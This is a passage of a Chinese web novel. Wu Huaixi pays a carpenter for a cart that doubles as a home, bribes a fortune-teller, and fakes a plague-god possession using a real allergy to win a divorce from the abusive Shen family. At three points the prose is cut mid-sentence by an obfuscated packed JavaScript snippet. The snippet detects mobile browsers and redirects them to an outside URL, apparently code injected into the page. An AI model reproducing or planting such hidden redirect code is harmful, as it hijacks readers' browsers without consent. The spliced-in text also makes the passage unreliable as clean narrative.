一月的相处，药铺掌柜早就已经将眼前的吴小娘子当作自己自家闺女来看，她日日都来，这冷不丁说上一句“以后不来”，他原本还张扬着的眉毛登时皱了几分。 “吴小娘子这是要走？还是说，沈家又要你去做别的什么营生了？” 自打这吴小娘子来了以后，他是连沈二贵一眼都见不到，保不齐是又烂在赌坊子那。 面前的吴小娘子今日身上的衣物又溅了不少泥点子，身上的衣服这一月来才换了两套，还是松松垮垮的老料子，饶是他媳妇儿都不穿样式的，想必是李凤娟剩下的，丢给她穿。 他叹了一口气，“吴小娘子还是该早早认清这沈家，它就是个污泥潭子......只是若这沈家日后还要你做些劳苦事，你不如趁早与那沈大贵和离吧，他与你并不相配......” 药铺掌柜说到这，却隐隐对自己的话有些自嘲起来。这吴小娘子这样能干，那李凤娟又如何会同意？ “怎么会走呢，日后福娘要是有个病痛，自然还是要来的。您笑笑，怎么苦起一张脸来了。” 吴怀夕见药铺掌柜这样在意她的感受，便劝慰着，给了他一个肯定的回答，“只是这沈家，掌柜的说的没错，我是要和离的。” 待吴怀夕离开药铺，药铺掌柜将药柜上的竹荪都收了起来。 那些竹荪长相雪白，白色的伞盖似一条纱裙那般向下铺开，明明是土里钻出的东西，浑身却见不到一点儿脏东西。 吴小娘子，也是这样吧。 药铺掌柜捏着一柄竹荪的，她定是有主意能离开沈家。 吴怀夕出了药铺，拉着板车便往李大叔的木行走。现下这俩板车她可不是叫卖红薯的看管，而是时时拉在跟前。 由是那木板下暗藏玄机。 今日的木行比往日里的可热闹多了。学堂里的夫子今日家中有事，李大叔的小孙女红姐儿便没有去学堂，而是搬着一把小凳子，拿着一根糖葫芦坐在木行门口看着自家爷爷追鸡。 那鸡虽然长得溜圆，身段倒是极度灵巧的。李大叔拿着一把刀，追着鸡乱转，却连一根鸡毛都没有拔到。 见吴怀夕来了，红姐儿便将盘子里的另一串糖葫芦拿了，直直朝她冲了过来。 她的腮帮子鼓鼓的，嘴里还嚼着一颗裹满糖衣的山楂，却依旧兴奋地将手中地糖葫芦递给吴怀夕，“我知姐姐今日要来，所以叫爷爷买了两串，姐姐快吃，一点也不酸。” 这多日的相处，吴怀夕早就与红姐儿打成了一片，若是不接，怕是等她咽下嘴里的山楂，腮帮子要更鼓了。 做糖葫芦的小贩很是细心，他将山楂的核都给仔细挑去了，选出来的山楂也是个个鲜红饱满。冬日里天气凉，裹着的糖衣不易融化，红彤彤的山楂与年味儿也很是相称。 麦芽糖衣晶莹剔透，在阳光下亮晶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059302|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶的，映出琥珀色的光，最受孩童们的青睐。 赶忙咬上一口，酥脆的糖衣发出“咯吱”的声响，唇齿间起初是甜津津的味道，随后与从舌根处泛起淡淡的酸意相融合，再咀嚼两口，便是山楂的清香。 “我说好吃吧。” 见吴怀夕吃了好几口冰糖葫芦，红姐儿很是得意，朝着面前依旧追赶着鸡的李大叔咯咯地笑，“爷爷，我瞧着姐姐好像更加喜欢我的糖葫芦，等她吃完咯，你的鸡还没抓着呢！” 李大叔停了下来，擦了擦额上的汗，他的脸因追不到鸡而跑得有些通红，见自家小孙女嘲笑他，他也要起了面子。 “爷爷整日坐在那里做木活，这腰都驼了，哪有鸡跑得快。红姐儿莫要笑爷爷了，赶紧带你吴姐姐去瞧瞧她的家伙，等瞧完了爷爷定是抓住了。” 说完，便继续与那飞来跑去的鸡做起了斗争。 红姐儿捂着肚子依旧咯咯笑个不停，不知是因为李大叔头上横插的鸡毛还是他那副追鸡的模样，“姐姐，我带您进去瞧瞧，爷爷尽说些大话，一会儿他也是抓不住的。” 李大叔不愧是镇上手艺最好的木匠，做出来的东西，别说是与吴怀夕画在纸上的东西一模一样，竟是那画上的还要好。 那推车做得很大，有四个轱辘，像是一座会动的亭子。 若是普通两个轱辘推着走的推车，只需要几块木板，再在上头放上一只泥炉，一口锅，也能做些吃食卖钱。 而吴怀夕并不这样想。 如今已经过了一个月，她整日待着沈大贵的房间里，夜间总能听见沈大贵在床上窸窸窣窣的响。 每日与沈二贵回家，他嘴里说的话越来越不成名堂，开口便是一些浑话，更有好几次动起手来揩油。 她那样的理由，面对咄咄逼人的李凤娟与两个如狼似虎的男人，又能撑多久？若是哪日真的脱离了沈家，她又该去哪？ 挣来的快钱确实能买上一间茅草房，虽然是自己的房子，可是买了后，便身无分文，这并不是一个好想法。 既要有挣钱的家伙，又要有庇护的去处。思来想去，吴怀夕心中就有了主意。 普通的推车，是不需要五两银子的。 她面前的推车，除了有做吃食的地方外，还另外开了一扇门，门内是一张简易的木床。 这是一辆古代缩小版房车。 李大叔很是热心，有一些用剩下的木头，他就给吴怀夕打了两张小椅子和一些其他的小玩意。这推车，不仅是她日后挣钱的地方，还是她的家。 吴怀夕摩挲着她面前的推车，红了眼眶。 “吴小娘子，你会捉鸡不？” 李大叔从木行外走了进来，他挠了挠自己的脑袋，很是苦恼，“再捉不住它，它要跑没影了，那可是我媳妇儿喂了两年的鸡。” 吴怀夕擦了擦眼角的泪，迎上李大叔的，是一张笑意盈盈的脸。 "会！李大叔，您瞧好。" 11. 算命 李大叔的那只鸡养了两年，身手依旧敏捷，肥嘟嘟的身子都能飞到房梁上去，但它依旧逃不出吴怀夕的手心。 她左手抓住翅膀，顺便捏住它的鸡喙和喙上的孔，右手拿刀，手起刀落，烧水拔毛，一气呵成。 “撒些盐，一会能结成块，还能烫血豆腐吃。” 红姐儿乐呵呵地捧来盐罐子，将盐小心地撒在装着鸡血的瓷碗中，而后便认真地坐在吴怀夕身旁，探着脑袋看她拔毛。 “吴小娘子就是能干，这拔毛的活让我来就行。”李大叔拿着茶壶给吴怀夕倒泥炉上刚刚炖好的梨汤，他捉了半天的鸡，吴小娘子三两下就逮住了，他有些不好意思，从锅中拣了一大块梨，“你润润嗓子，红姐儿也来喝。” 梨汤内撒了两把红枣，又放了几颗话梅，汤汁里有冬梨与红枣的甜夹杂着话梅的酸。 碗里还冒着热气，只能轻含上一小口在嘴里，并不着急咽下，让汤汁慢慢润过喉咙。炖得酥烂的冬梨一抿就化开，抵在舌尖，酥梨的柔滑感由舌尖传到心尖，暖意从心尖传到全身。 吴怀夕捧着碗喝了两大碗，浑身畅快了不少，今日便不用去茶水摊上喝姜茶了。 待李大叔帮忙将整只鸡的毛全部拔光，吴怀夕才变戏法似的从她的背篓里提出了两只用细柴吊好的猪脚。 “我前两日瞧着李大叔家门口晒了黄豆，今日想给您与红姐儿做黄豆炖猪脚。” 她将视线落到了木桶里白花花的鸡身上，心里登时又有了主意，“不如做道神仙鸡也行，省得这两样东西分开炖，费上好些煤球炭火。” 昨日里吴怀夕已经说好了今日来拿她的推车，瞧着她瘦得就像稻田里的麻杆，李大叔便想着杀只鸡给她拿回去补补身子也好。自她来了以后，红姐儿多了个玩伴，也愈发开朗。 可这吴小娘子不仅不要这鸡，还送两只猪脚来，这当真是一位极好的姑娘，他连忙推辞，满口喊着“拿回去，拿回去”。 这推搡了半天，也拗不过吴小娘子与红姐儿二人串通起来起哄。待他回过神来，那猪脚也已经下了热水，滚上两圈了。 砂锅底部铺好了几层姜片与鲜葱，去去这两者的腥味。好在自家喂养的鸡，不需要过多的调料，放上些豆酱与冰糖，倒上三两黄酒，咕嘟咕嘟炖上一个时辰便可。 快出锅时，撒些盐巴，再投上一把香菇闷煮。不出片刻，整条街上都飘满了神仙鸡的味道。 虽说是只两年的鸡，但它已被炭火给炖酥了，并不柴。肉薄的地方，用筷子轻轻一夹，就能脱骨。 鸡皮香糯，鸡肉细嫩，满口留香。 更别说被炖得质地软烂的猪脚，上方的皮轻轻颤动，吸溜进嘴里，肥而不腻，醇香适口。 浓厚的汤汁浇在米饭上，油亮亮的，吃上三碗都不过分。 李大叔都将那炖得酥烂的鸡骨头都嚼着咽下去，还连夸这香菇尝着比肉还好吃哩。 待三人吃完，还未到黄昏。 吴怀夕走到她的板车身旁，在木板的下方摸索着，而后拿出了个大布袋。 她将布袋提到李大叔的木行内，往桌子上一扣，不计其数的铜板从布袋里落下，叮铃当啷的，发出一阵阵清脆的声响。 这么多铜板并不易放在身上。原先她想去钱庄，将铜板换成银子，但她很快放弃了这个念头。 李二贵成日里在赌坊子厮混，多多少少是认识些钱庄的小厮伙计的。若真有人将她认出来，她实在没有借口去解释到底哪来的那么多钱。 再者，被发现后，这与沈大贵和离的计划又该怎么进行，定是要被抓回去，天天侍候他。 吴怀夕想想都恶寒。 要将这些钱放在身上，又不易被发现，思来想去，唯一能放的，就是这辆板车。 沈二贵现下越来越不愿意往山里头走，白日里板车懒得拉，只是刚离家一里，便一溜烟跑去镇上。 黄昏时分，他也是不愿意，在赌坊里呆得更晚。每每就是吴怀夕回了家，才姗姗来迟，只能托她编排些借口，说是书院里留堂。 李凤娟还直夸沈二贵用功刻苦，春日里一定能得个童生回来。 吴怀夕每日都拿二十文给李凤娟，又能自己将板车，拉回来。这长久下来，一月能到她手里的，能有个五百文，家中多了个挣钱的苦力，她也对吴怀夕不再有过多的怀疑。 吴怀夕又糊了一大把泥在板车上，手柄、车轱辘，全都是泥点子，李凤娟嫌弃脏，更是连看都懒得看一眼。 哪知道这木板底下，藏了那么多钱。 三人细细地将桌上的铜板数了又数，除去给李大叔的四两多银子，竟还余上二两多。 这些都是吴怀夕起早摸黑，勾破了她原先那身红袄子，磨平了她脚上的鞋挣来的。 这辆既能推着走动，又能遮风避雨的小食摊终于属于她了。 “还是得多谢李大叔。” 吴怀夕又将面前的铜板推了一些到李大叔面前，慢慢开口，“这木材是柏木非杨木，且做得这样精贵。李大叔，这辆推车的价钱，远超五两......现下福娘还剩些钱，李大叔你拿着。” 李大叔才不去听吴怀夕的话，而是将多出的铜板帮她全都重新收回那个布袋中，“锅碗瓢盆，油盐酱醋，哪样不要钱？李大叔是这两日手头没有别的活，用的以前剩下的木料。你也不要同我讲这些，哪日你的小食摊儿开张了，李大叔便要与红姐儿来吃白食。” 红姐儿也在一旁咯咯咯地笑，也帮着李大叔将铜板捡回布袋，“吴姐姐做什么东西都好吃，爷爷，她定是还藏着掖着。” “红姐儿真聪慧，都藏着呢。”吴怀夕握紧了手中的钱袋，原本含笑的脸上有了一丝涟漪，嗓音哑哑的，“以后红姐儿与爷爷日日来吃。” 等出了门，已是夕阳西下。寒风卷起地上的枯叶，吴怀夕穿着那件薄袄子，心里却一点儿都不觉得冷。 小食摊还是先停放在李大叔家，并不急着用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059303|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现下，她要想办法与沈大贵和离，拿回自己的籍契。 她拉着那辆板车，去原先那食肆买了一壶烧刀子，临走是又遇见了那码头扛货的小伙。 那小伙挠着头，问她怎么近两日不来送菌子，食肆掌柜的公子可喜欢鲜菌子汤了。 她只是笑笑，说是以后有了别的生计，不用再每日进山了。 那小伙听了这话，知道自己日后没有钱赚，并不生气，反倒是高兴了。他笑着拍了拍胸膛，叫吴小娘子若是日后有要他帮忙的活，他也愿意来帮忙。 山中那样湿寒阴冷，吴小娘子日后还是别去的好。 直至现在，除了沈氏一家，吴怀夕遇到的，当真都是不错的人。 她手上提留着一壶烧刀子，又去小摊上买了两斤地瓜干，拉着板车，便在一处算命摊子前停下了。 “八星五祸命中看，富贵皆在我掌间。” 见吴怀夕将板车停在他摊子面前，算命先生捋了捋自己的胡须，觉得今日要开张，便熟练地说道，“小娘子，可是要算命？我瞧你印堂发黑......” “吃地瓜干吗？” 吴怀夕笑了笑，将手中的地瓜干放到他的摊子上，根本没听算命先生在说什么。 摊子上的地瓜干被晒成了琥珀色，泛着一股甜香气。 她用手撕开了一片地瓜干，其中的丝瓤随之被扯开，却不愿分别，还黏连在一起。与烤红薯不同，烤红薯吃到嘴里香甜生津，反之它嚼起来丰盈弹韧。 “也给我两根。” 算命先生见面前的小娘子不理他，反倒是摊子上的地瓜干飘浮出来的甜香气熏得他馋，尤其上见小娘子吃得这样津津有味，哪像是在嚼地瓜干，说是在嚼蹄筋也不过分。 “先生在这摆摊多久了。” 吴怀夕将那些地瓜干往算命先生面前推了推，又用将烧刀子的盖子打开，“这酒也很醇香，赶上那食肆掌柜新酿的了。” 托人做事，并不是上来就要开口相问，而是谈笑间就将事情给办了。 她早就向药铺掌柜打听过这算命先生的习性。他平日里除了爱吃些，就好嚼些瓜果干，就两口烧酒。冬日里的地瓜干与烧刀子正中他的下怀，三杯两盏下去，也是酒意上头。 “说你天煞孤星克夫是吧。嗝......” 算命先生打了个酒嗝，有些恍惚，又回过神来仔细瞧瞧面前那位小娘子。 这左瞧右瞧，瞧着日后定是个大富大贵之相，哪来半点克夫的面相，“我咋瞧着你以后是要发财的，这岂不是砸了我的招牌？” “先生说得极是。”吴怀夕眯着眼睛，往地瓜干下塞了一百文钱，“要不您再瞧瞧？” “像！极像！我瞧你命中带煞，定是个克夫相！与你过多接触，少则霉运当道，倾家荡产，多则可是恶病缠身，横死街头的呀！” 吴怀夕将剩下的烧刀子尽数倒到碗中。 “先生真乃神人也。” 12. 和离 阳春三月，吹过的风也渐渐暖和起来，雨也并不多见，逐日放晴，整天都是大好的日头。 李凤娟像往常一样在公鸡啼叫了两声后，起身去准备朝食，却未在后院里找到吴怀夕的影子。要知道往常这个时候，她早就已经早早地在院子里候着，劈劈柴拾些柴火也好，李凤娟就是见不得她闲着。 空落的院子让李凤娟添了不少恼意，觉得自家这媳妇挣了些钱后，脸皮子就上来了。她越琢磨越恼，索性竖着眉毛就去沈大贵的房里寻吴怀夕。 门被她一下推开，“嘎吱”响惊扰了床上躺着的沈大贵，现下天还暗着，只是微微有些光亮。他向来不喜有人吵他安睡，皱着眉头睁开眼睛，瞧见李凤娟正快步走到自家媳妇儿跟前。 屋子里十分昏暗，李凤娟只能看见吴怀夕趴在桌子上，并未抬头。 “死丫头还不起，挣了几个钱，横起来了是不？” 平日里的吴怀夕低眉顺眼，说话温声细语。李凤娟说什么，她便做什么，乖巧懂事的模样深入沈家以及邻里的心。现下不少人娶媳妇的标准，都要按照沈家的福娘来。 听话懂事，还能为家里挣钱。 见无吴怀夕没有反应，她更加恼，连忙上前去推搡她心中觉得的懒货。这一推，面前之人才慢慢抬头，只是李凤娟的手划过吴怀夕脸，感受到了热意以及一些微微隆起的疙瘩。 她心里一惊，后退了两步。摸到了什么东西？ “娘。” 吴怀夕喊了一声，今日发出的声音却像公鸡打鸣似的，“福娘这就起身来帮忙。” 沈大贵也觉着有些奇怪，往常他醒来的时候，屋子里哪有媳妇儿半个身影，只能夜里借着烛火瞧瞧她的灯下倩影。还有那百灵鸟般的嗓音哪里去了？ 吴怀夕从凳子上站起身来，身形摇晃，似是左脚绊了右脚，还未等李凤娟反应过来，便一下子扑到在了她的身上。 “哎哟喂，你想摔死我吗！” 李凤娟哪受得住这样一撞，她的身边又没有一个可以扶着的玩意儿，只能顺着吴怀夕的身子，被她压倒在地。 “福娘！” 大腿上传来的痛楚让她的恼意达到了顶峰，她尖叫着揪住吴怀夕的衣襟，想要把她从身上推下去。身上的吴怀夕猛得一抬头，四目相对下，李凤娟看到了一张可怕的脸。 “鬼啊！” 李凤娟不知哪来的力气，一把推开了吴怀夕，从地上跳了起来，动作之迅猛远甚二十岁年轻小伙。她颤颤巍巍地扶着一旁的桌角，说话断断续续，“福，福娘呢？” “娘，我就是福娘啊。” 地上的“鬼”也爬起了身子，朝她靠了过来，上方的透气孔洒进来一些微弱的光，映照出她的脸。 那是一张肿胀的脸，面皮上还长了不少的红色疙瘩，嘴唇更是肥厚，甚至有些发紫。 “怎么，怎么回事啊？” 李凤娟一边说一边调转了方向，向门外躲去，她只觉得这张脸阴森可怖，“你离我远些！二贵啊！二贵啊！你快出来瞧啊！” 她一瘸一拐地走出了沈大贵的房，身后的“鬼”也跟在她身后。 “娘，你怎么了？” 沈二贵听见了李凤娟惊恐地叫声，从自己的房间踏了出来，他很快就瞧见了她身后的吴怀夕。 “嫂，嫂嫂？” 沈二贵看着吴怀夕的脸，停滞了片刻，眉头紧皱，连看都不愿意再看她一眼。他将视线落在了别处，才慢慢开口，“你怎么变成这副模样了？” 此刻朝阳慢慢东升，天也逐渐亮起来。 在光亮下，二人见到面前的吴怀夕，不止脸上，连身上都长满了红疙瘩，既恶心又吓人。 “我，我也不知道。” 泪顺着那些红疙瘩流了下来，一开口，那声音更难听了，若刚刚是鸡鸣声，那现下更甚乌鸦叫，“娘，您，您给福娘请个郎中吧。” 听了这话，李凤娟登时不乐意，她确定了面前之人就是她那逆来顺受的儿媳妇儿，也不害怕，将双手插在腰间，“请郎中多费钱，家里哪来那么多银子？” “娘。” 吴怀夕的眼泪落得更厉害，“福娘身子不痛快。” “许是你上山的时候，让什么毒虫咬了，涂点锅灰就好了。咱们庄稼汉，哪需要请郎中，你又不是什么金贵的小姐身子。” 拢共这一月就挣了几百文钱，这要是请个郎中，再开一方药，还不花上个一两？ “娘......” 吴怀夕想争辩些什么，却依旧被李凤娟一口回绝，“你去抹点锅灰去，金贵玩意儿。” 从前替她说话的沈二贵，看这她这张不再漂亮的脸，也像是变了个性子，“对啊嫂嫂，家里哪有那么多银子给你请郎中啊，嫂嫂还是听娘的话，赶紧去吧。” 原先美若天仙的嫂嫂如今肿着一张脸，脸上的疙瘩沈二贵都不愿意瞧上第二眼。 “是，福娘知道了。” 吴怀夕用依旧擦了擦脸上的眼泪，晃晃悠悠地路过这两人，往后厨走去。只是刚踏入后厨的门槛，她的脸上盛满了笑意，哪还有半点刚刚难过的模样。 灶台的锅里还未煮上朝食，一旁放着几根白萝卜，长得白嫩水灵。 落霜后的萝卜最是脆嫩，不食可惜。 吴怀夕挑了一根，洗尽后一分为二，一半生食，一半在灵巧的刀工下化成了一缕缕萝卜丝。 热油里下了鸡蛋，煎得焦香。口中嚼得生萝卜初口是辛辣，适口后回上来一阵甘甜。 滚水淋在鸡蛋上，咕嘟一阵便是成了奶白的汤汁。下入萝卜丝炖煮，出锅撒上粗盐。 萝卜清新淡雅，鸡蛋焦脆鲜美，汤白回甜，滑入喉咙后唇齿留香，增添暖意。 吴怀夕这幅样子，李凤娟与沈二贵两人自然也是不愿意往后厨里面去的。李凤娟打算去门口割些草料，搅进鸡食里。沈二贵则是嚼着一根生萝卜，坐在家门口看乡道上来来往往的村民，想在其中寻出几位姑娘瞧瞧。 “八星五祸命中看，富贵皆在我掌间。” 算命先生从乡道上走过。他走得极慢，身上挂着个布袋子，手里拿着一小面旗帜，上方写着“阴阳运策，药到病除”。 “二贵儿，算命吗？” 算命先生是认识沈二贵的，他的摊子就摆在吴怀夕与沈二贵两人成日路过的街上，且沈二贵平日里偷鸡摸狗，流连于赌坊子，想不知道他的大名都难。 “去去去！” 沈二贵一边别过脸，一边将萝卜皮吐到算命先生面前，瞥了他一眼，“别杵在这里挡道，信你还不如信我来年中个状元呢。” 算命先生并不生气，反而将萝卜皮踢到一边，继续走在乡道上，大声吆喝着，“半仙算命咯，算命治病咯，只要十文钱......” 李凤娟则是蹲在草丛里割草。她家的两只老母鸡平日里吃得就是大量的青草拌上一丁点儿鸡料，全当兔子来喂，能几日里下上两枚蛋，也是奇迹。 “嘭！” 家中忽然传来巨响。 沈二贵浑身一激灵，手中的萝卜都掉到了地上，“娘，发，发生什么事了？” 二人在原地停顿了片刻，便迅速向家里奔去。 “福娘！” 二人刚进后厨，就看着一地狼藉的后厨，李凤娟浑身发抖，几乎要晕过去。 “娘。” 吴怀夕泪眼婆娑，脸上涂了不少锅灰，正倚在门槛上，“这，这灶台不知为何，它突然炸了！” “你你你！” 李凤娟努力支起了身子，大口喘气，看着那破烂不堪的灶台，“这是跟了咱家三十多年的灶台啊！” “娘......” 吴怀夕捏了捏自己的衣角，哭得更加大声，“福娘也不知怎么回事，只是我一靠近它，它就炸了。娘，福娘知错了！” “娘，您别生气。” 沈二贵见着这砖头乱飞的灶台，连锅都破了个大洞，而面前的嫂嫂涂满了锅灰，说是从炭灰里爬出来的都不过分，他咽了咽口水，“嫂嫂你先出去，别让娘瞧见了。” “好。” 吴怀夕快速地溜出了后厨。 李凤娟捧着那口破了个大洞的锅唉声叹气，一会抚着胸口，一会怪叫两声。 “啊啊啊！” 是沈大贵惊恐的叫声。 这又是发生什么事了？ 二人在原地停顿了片刻，便迅速向沈大贵的房里奔去。 “娘。” 吴怀夕端着一盆热水，站在沈大贵的床前，继续泪眼婆娑，“相公，相公它晕过去了。” 床上的沈大贵双眼紧闭，手中还攥着床单，嘴角边还起了沫沫。 “福娘！” “你你你！” 李凤娟看着床上大儿子这幅惨样，哪能不心疼，灶台刚刚才被炸了，现下儿子又晕了，这罪魁祸首......她抬手就要朝着吴怀夕打去。 这手刚抬到半空中，面前之人也开始不对劲。 抽搐、吐沫沫、鼻歪眼斜......然后忽然大声呵道，“尔等凡人！” 李凤娟与沈二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059304|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵皆傻了眼。这是唱哪出啊？ 吴怀夕一边喊着“尔等凡人”，一边抽搐着将盆里的水朝着二人泼去。 盆里是她刚刚烧开的热水，只是水点子溅到人身上，就要烫破皮，何况是一大盆。 “娘啊！她疯了！” 沈二贵率先被泼到了热水，随即往房门外逃命。这要是换成从前的嫂嫂，他定是不怕的，嫂嫂身量纤纤，又娇弱，他随意就能拿下。 可今日的嫂嫂，明显不太对劲。 是太不对劲了！简直就像鬼上身！ 鬼上身？ 这个想法突然蹦到了沈二贵的脑海里。 “半仙算命咯，算命治病咯，只要十文钱......” 门外又传来了算命先生的声音。 “半仙呐！半仙！” 算命先生捋了捋自己的胡须，喝了一口李凤娟给他泡好的热茶，没有任何茶味儿。他低头瞧了一眼，就白水，哪来的茶！ “这个，难啊。” 他叹了一口气，将一张符纸贴在了吴怀夕的脑门上，她果然冷静了下来，坐在凳子上，杵着个脑袋，对着三人痴痴地笑。 “咋啦，半仙，您瞧着是个什么情况啊？” 李凤娟和沈二贵看着这位算命先生用一张符纸就压住了吴怀夕，心中多了几分信任来。 “啧。” 算命先生继续叹气，将布袋重新背在了身上，拿着他的旗帜站起身来，“算了，我还是走吧。” 见算命先生要走，两人连连阻止。 “诶诶诶！半仙你别走啊，你瞧着我儿媳妇儿这是咋回事啊！” “嘶。” 听了李凤娟的话，算命先生又坐回了凳子上，但立刻冷下一张脸来，“您还敢叫她儿媳妇儿呢！” 沈二贵一时没了主意，揣摩着算命先生的心思。 “这就是我嫂嫂啊，咋啦啊这是？” “这是让瘟神给上了身了。”算命先生忽然将声音抬高了几分，继续捋胡须，都要捋出火星子来，“这原本就是个天煞孤星的命啊！怎么娶来当儿媳妇儿了呢。这，这！唉！” 算命先生像是对这件事十分无奈，叹气叹得都快背过气儿了，也不愿意往下说下去。 “瘟神？天煞孤星？” 李凤娟平日里隔仨差五就要去附近的庙里拜一拜佛祖，保佑沈大贵康复，保佑沈二贵高中状元，她是极信神佛的。 见算命先生迟迟不开口，她心中更是又惊惧又好奇，“半仙您是说福娘上瘟神上身了？这咋办啊！” “唉，无解了。” 算命先生转了转眼珠子，幽幽开口，“还是请灶王爷来吧。你速去灶台上向灶王爷敬香，供上饴糖与瓜果等贡品。叫他老人家嘴甜一些，在玉皇大帝面前为你们家说说好话，将这瘟神请回去吧。” “灶，灶台？” 沈二贵像是咬了舌头，说话都说不清楚，“嫂嫂刚刚靠近灶台的时候，灶台它炸了......” “什么！” 算命先生又“蹭”得一下站起身来，拿了他的家伙就往门外跑，“我得赶紧走，我帮不了啦，帮不了啦......” “半仙，您别走啊！” 李凤娟连忙扯住他的衣袖，硬生生将他拖回桌旁。 “你看看，您帮帮我们吧。” “饶是这女娃是天煞孤星的体质，又让这瘟神上了身，这双管齐下，连灶王爷都管不了了！” “那，那不管会怎么样？” 沈二贵一边问，一边向面前的吴怀夕看去。 只见她正阴冷地朝着他笑。 沈二贵浑身一激灵。 “是要克夫克全家的！与她过多接触，少则霉运当道，倾家荡产，多则可是恶病缠身，横死街头的呀！” 这话听着咋有些耳熟。 “半仙您想想办法，您一定要救救我们呐！我们家二贵儿还要中状元的！” 李凤娟更急了，这算命先生说得哪件事都是骇人的事。 “那只能送走她了，没有别的办法。” “好！我速速让我家大贵写了休书来。” “可了不得，不能休！不能休！这瘟神也是神，怎么能休呢？要送走，要虔诚地送走！”算命先生连忙摆手阻止。 “那该如何啊？” 李凤娟与沈二贵两人欲哭无泪，都躲到算命先生身旁，离吴怀夕更远。 算命先生长吁了一口气，捋着他的胡须，说出了最佳解决办法。 “和离，那就和离吧。” 13. 脱身 春日渐进，风也不寒凉，反而吹着暖和。开得正好的杏花树上时不时飞过两只雀鸟，叽叽喳喳地报喜。 沈家的院子里，李凤娟与沈二贵两人正叹着气大眼瞪小眼。院里的板车上则是侧躺着握着笔的沈大贵，飞快地在纸上划拉他的和离书。 他现下想和离的心达到了顶峰。方才屋子内昏暗，即便是自家媳妇儿嗓音难听得吓人，他依旧是见过那张标志的脸，所以对于李凤娟与沈二贵的在他屋内说的话并不愿意相信，请个郎中瞧瞧便是，哪用得着这样大惊小怪。 直到天色微亮，透气孔内洒下的光足够让他看清那一位端着木盆站在他面前的人。 长满疙瘩的，灰不溜秋的，疯狂颤抖的，吐着舌头的...... 媳妇儿。 院子内，算命先生正拿着一碗米，口中念念有词，来回走动了多次，随后将米一抛洒，撒到了吴怀夕的面前。 李凤娟瞧着那碗撒在地上的米，心疼的龇牙咧嘴。 而那张符纸，依旧贴在吴怀夕的额上，只是她原本诡异的神情，随着算命先生逐渐响亮的咒语缓和起来。 “快快走吧......快快走吧！瘟神大人，请您快快走吧！” 算命先生喊得大声，又将沈大贵刚刚撰写的和离书在吴怀夕的额面前晃了晃，从李凤娟那儿取来的籍契也在她面前晃了晃。 吴怀夕用力掐了掐手心，才控制住自己想要狂笑的神情。 随后，将双眼一闭。 “好了，你家中的邪祟之气已全部除去，以后便可平安度日了。” 算命先生见着吴怀夕现下乖张的模样，也坐下来，终于喝到了李凤娟珍藏多年的普洱茶，他痛饮了一大口，长叹一声，“只等瘟神大人离开。” 李凤娟三人千恩万谢，还给算命先生分了半根萝卜，但眼神依旧在院子里张望，却是不愿意瞧一瞧吴怀夕，只得用余光去扫上一眼，“半仙，这都除去了吗？您再瞧瞧，还有哪些地方，您再给我们祛祛。” 算命先生大口咀嚼着手里的半根萝卜，连连点头，他将腮帮子嚼得极大，使劲扫视着院子，最后将视线落在了那辆溅满了泥点子的板车上。 “此物，从何而来？” 李凤娟大吃一惊，心想真遇上活神仙了，她动了动手指，离吴怀夕更远了，颤颤巍巍地用手指指着她，“是，是瘟神大人的。” “那就与瘟神大人一块送走吧。” 算命先生嚼完了萝卜，继续将他的胡须捋出了火星子。 “是......是是！” 沈二贵将手放在算命先生准备的锅灰水中好一会儿，再三确认洗过了手，不会沾染到瘟神大人的晦气，才拉着板车，将吴怀夕带到离家三里地的乡道上，飞快地逃走了。 就这样，吴怀夕嫁到沈家时，是由板车拉来的，而离开沈家时，也是板车拉走的。 见乡道上再也瞧不见沈二贵的影子，吴怀夕慢悠悠从板车上跳下来，朝着身边的算命先生微微行礼，“先生果真乃神人也。” 算命先生听了她的夸奖，并不受用，瞧着她可怖的脸，反而有些担忧，“吴小娘子的脸没事吗？” “无碍，我已从药铺掌柜那儿开了药方，辅之以徐长卿，煎水多服用上几日便会好转。” 吴怀夕脸上的红疙瘩可不是什么花汁子混出的颜料涂抹的，而是货真价实的过敏。 她原本是想去集市中买一些胭脂口脂冒充，可昨日在给算命先生买地瓜干时，那摊子上也摆着这几个月份的应季蔬果，她瞧着新鲜，便挑来瞧瞧。这一瞧，倒是瞧出些东西来，未曾想到这具身子竟对山药过敏。 许是从小吃得少，且又没有营养的缘故，福娘抵抗力极差。只是摸了几下，不多时，手上便浮起不少红点子。 只是摸了一摸就这样，吃上一口那还了得。 就算是她先服用了药铺掌柜的药，她的面部还是因为过敏变得肿胀，红点子也长到了脸上，连喉咙都开始水肿起来，呼吸不畅，压迫得她的嘴唇发紫。 过敏是很难受，但是终日呆在沈家，更加难受。 “那吴小娘子，每月都有地瓜干吗？” 